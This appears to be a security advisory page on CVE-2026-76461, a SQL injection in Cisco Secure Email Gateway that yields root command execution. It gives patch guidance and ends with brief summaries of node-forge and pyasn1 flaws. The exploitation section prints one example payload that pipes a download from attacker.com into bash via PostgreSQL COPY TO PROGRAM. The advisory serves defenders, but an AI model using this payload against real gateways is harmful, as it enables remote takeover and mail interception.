Sep 17, 2026·5 min read·99 visits
An unauthenticated remote SQL injection vulnerability in Cisco Secure Email Gateway allows attackers to execute arbitrary system commands as root via crafted SMTP traffic.
CVE-2026-76461 is a critical, unauthenticated, remotely exploitable SQL Injection (SQLi) vulnerability in the email parsing engine of Cisco AsyncOS Software for Cisco Secure Email Gateway (SEG). An unauthenticated remote attacker can exploit this vulnerability by transmitting a specially crafted email message containing malicious SQL statements directly through an affected gateway.
Cisco Secure Email Gateway systems utilize Cisco AsyncOS Software to process and filter incoming mail traffic at the SMTP gateway boundary. The core processing pipeline parses incoming message headers, body parts, and metadata to evaluate spam scores, compliance rules, and security policies.
During this parsing process, the gateway database acts as a storage and lookup engine for transactional logs and transient email metadata. The SQL injection vulnerability, tracked as CVE-2026-76461, exists in the backend database logging logic of this processing pipeline.
An attacker can trigger this vulnerability remotely without authentication by transmitting a crafted SMTP message containing malicious payloads inside specific email headers. Successful exploitation allows the execution of arbitrary SQL commands within the backend database management system.
The root cause of CVE-2026-76461 is the improper sanitization of user-supplied data parsed from incoming email headers before incorporation into SQL statements. When the email parsing daemon extracts message attributes, it passes these values directly to dynamic SQL queries rather than using parameterized queries or prepared statements.
The parsing engine processes fields such as the sender address, recipient list, or customized headers and embeds them directly into SQL command strings. An input string containing single quote characters can prematurely terminate the SQL string literal, allowing an attacker to insert arbitrary database operations.
The underlying database engine is PostgreSQL. Because the application daemon runs with high privileges to manage system functions, the database service also runs with elevated system capabilities, creating a direct path to operating system execution.
To illustrate the structural weakness, consider the conceptual representation of the vulnerable SQL query generation logic in Cisco AsyncOS. The application constructs queries dynamically using string concatenation rather than binding variables securely.
# Vulnerable Implementation
# User-controlled header values are directly formatted into the SQL query string
query = "INSERT INTO mail_metadata (sender, subject, recipient) VALUES ('%s', '%s', '%s')" % (sender_val, subject_val, recipient_val)
cursor.execute(query)The patch replaces this dynamic query building with prepared statements using parameterized place-holders. This architectural modification ensures that the database driver treats input values strictly as data literals rather than executable SQL syntax.
# Patched Implementation
# Input values are passed separately from the SQL statement template
query = "INSERT INTO mail_metadata (sender, subject, recipient) VALUES (%s, %s, %s)"
cursor.execute(query, (sender_val, subject_val, recipient_val))Exploitation of CVE-2026-76461 does not require prior authentication or access to the administrative management interface. The vector is the standard SMTP delivery port, typically TCP/25, which must be exposed to receive external mail.
An attacker constructs a specially crafted SMTP message where one of the parsed metadata fields, such as the subject or a custom header, contains SQL command separators and administrative SQL directives. The database backend handles these parsed elements sequentially during message classification.
-- Conceptual SQL Injection payload structure executing a system shell
'; COPY (SELECT 1) TO PROGRAM 'curl -s http://attacker.com/payload | bash'; --The PostgreSQL COPY ... TO PROGRAM directive allows database administrators to pipe data directly to an operating system command shell. Because the database process executes with elevated permissions on the FreeBSD-based AsyncOS platform, the shell process runs with root privileges, leading to complete system compromise.
Successful exploitation of this vulnerability yields complete control over the affected Cisco Secure Email Gateway appliance. The attacker can execute arbitrary operating system commands with root privileges, bypassing all access control mechanisms.
With root access, an adversary can intercept, modify, or block email traffic passing through the gateway. Attackers can extract confidential data, steal credentials, and use the compromised gateway to launch internal network attacks or distribute phishing messages.
The vulnerability is classified as critical with a CVSS v3.1 base score of 9.8. Its addition to the CISA Known Exploited Vulnerabilities catalog reflects active exploitation by threat groups, underscoring the urgent need for defensive mitigation.
There are no temporary workarounds or configuration changes that mitigate this vulnerability. Security administrators must apply the designated software updates provided by Cisco to remediate the underlying weakness.
Organizations must update their Cisco AsyncOS Software to one of the fixed releases: 15.5.5-014 or later, 16.0.4-302, or 16.5.0-780. In virtual environments, if a compromise is suspected, administrators should redeploy a clean virtual machine instance using a patched release.
After upgrading the firmware, all credentials, SSH keys, and cryptographic certificates associated with the gateway should be rotated. Legitimate administrative configurations should be audited to verify that no malicious persistence mechanisms were established during the period of vulnerability.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
AsyncOS Software for Cisco Secure Email Gateway Cisco | < 15.5.5-014 | 15.5.5-014 |
AsyncOS Software for Cisco Secure Email Gateway Cisco | 16.0.0 to < 16.0.4-302 | 16.0.4-302 |
AsyncOS Software for Cisco Secure Email Gateway Cisco | 16.5.0 < 16.5.0-780 | 16.5.0-780 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 |
| Attack Vector | Network |
| CVSS Score | 9.8 (Critical) |
| CISA KEV Status | Listed (September 14, 2026) |
| Exploit Status | Active exploitation in the wild |
| Platform | Cisco AsyncOS (FreeBSD-based) |
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream database.
CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.
CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.
CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).
CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.
An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.
A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.